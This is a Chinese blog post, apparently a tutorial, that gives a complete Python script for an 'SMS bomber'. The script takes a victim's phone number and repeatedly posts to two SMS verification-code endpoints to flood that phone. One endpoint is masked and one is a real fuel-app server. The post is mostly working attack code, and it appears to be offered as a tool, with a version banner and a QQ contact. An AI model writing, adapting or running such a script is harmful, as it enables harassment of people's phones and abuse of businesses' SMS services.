Python爬虫笔记(一)
基于Python requests模块的短信轰炸机
首先就是找接口,然后就是分析数据包,代码如下
import requests import json import time PhoneNumber = input("请输入需要轰炸的手机号码:") def SMS_Wscl(PhoneNumber): ''' xxxx网站短信轰炸接口 该接口可以无限制发送 :param PhoneNumber: :return: ''' headers = { 'Connection': 'keep-alive', 'Content-Length': '19', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Origin': 'http://www.xxxx.com', 'X-Requested-With': 'XMLHttpRequest', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'Referer': 'http://www.xxxx.com/index.php/Index/contact.html', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9', 'Cookie': 'PHPSESSID=d59dve6jbp3gtvtgnkq3vsg7q4' } data = 'tel='+str(PhoneNumber)+'&t=1' x = requests.post('http://www.xxxx.com/index.php/Member/sendmsg.html', data=data, headers=headers) return x.text def SMS_Cqjy(PhoneNumber): ''' 重庆加油App短信轰炸接口 该接口每个手机号可以发送5条短信 :param PhoneNumber: 参数为手机号 :return: ''' headers = { # 请求头信息 "Accept-Language": "zh-CN,zh;q=0.8", "User-Agent": "Mozilla/5.0 (Linux; U; Android 4.4.2; zh-cn; MI 6 Build/NMF26X) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", "Content-Type": "text/html;charset=utf-8", "Content-Length": "41", "Host": "app.zshcqsy.com:8000", "Connection": "close", "Accept-Encoding": "gzip, deflate", } #发送数据包 data = {"phoneNo": str(PhoneNumber), "sendType": "05"} data = json.dumps(data) x = requests.post('http://app.zshcqsy.com:8000/csp_rest/restful/sendMobileCodeMap', data=data, headers=headers) return x.text,PhoneNumber for i in range(33): a = SMS_Cqjy(PhoneNumber) b = SMS_Wscl(PhoneNumber) print("该轰炸软件为1.0版本,联系QQ2133364981") print(a) print(b) time.sleep(3)